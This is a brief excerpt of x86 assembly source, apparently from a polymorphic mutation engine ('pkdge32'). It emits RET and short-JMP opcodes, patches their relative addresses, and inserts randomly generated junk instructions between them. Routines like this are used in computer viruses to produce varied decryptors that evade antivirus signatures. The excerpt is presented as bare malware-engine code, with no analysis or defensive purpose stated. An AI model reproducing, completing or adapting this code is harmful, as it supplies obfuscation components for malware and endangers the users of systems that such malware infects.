||
|
mov al,0c3h ; ret
|
||
|
stosb ; ...
|
||
|
mov eax,[esp+4] ; fix addr1
|
||
|
xchg eax,edi ; ...
|
||
|
sub eax,edi ; ...
|
||
|
sub edi,4 ; ...
|
||
|
stosd ; ...
|
||
|
add edi,eax ; ...
|
||
|
mov eax,ebp ; some more junx
|
||
|
mov edx,6 ; ...
|
||
|
call __random ; ...
|
||
|
mov esi,ebp ; ...
|
||
|
call __pkdge32_junk ; ...
|
||
|
mov al,0ebh ; jmp xx
|
||
|
stosb ; ...
|
||
|
mov eax,[esp] ; ...
|
||
|
sub eax,edi ; ...
|
||
|
dec eax ; ...
|
||
|
stosb ; ...
|
||
|
pop eax ; fix addr2
|
||
|
xchg eax,edi ; ...
|
||
|
sub eax,edi ; ...
|
||
|
dec edi ; ...
|
||
|
stosb ; ...
|
||
|
add edi,eax ; ...
|
||
|
pop eax ; pop a shit
|
||
|
mov eax,ebp ; some more junx
|
||
|
mov edx,6 ; ...
|
||
|
call __random ; ...
|
||
|
mov esi,ebp ; ...
|
||
|
call __pkdge32_junk ; ...
|
||
|
jmp pkdg_j_rptr
|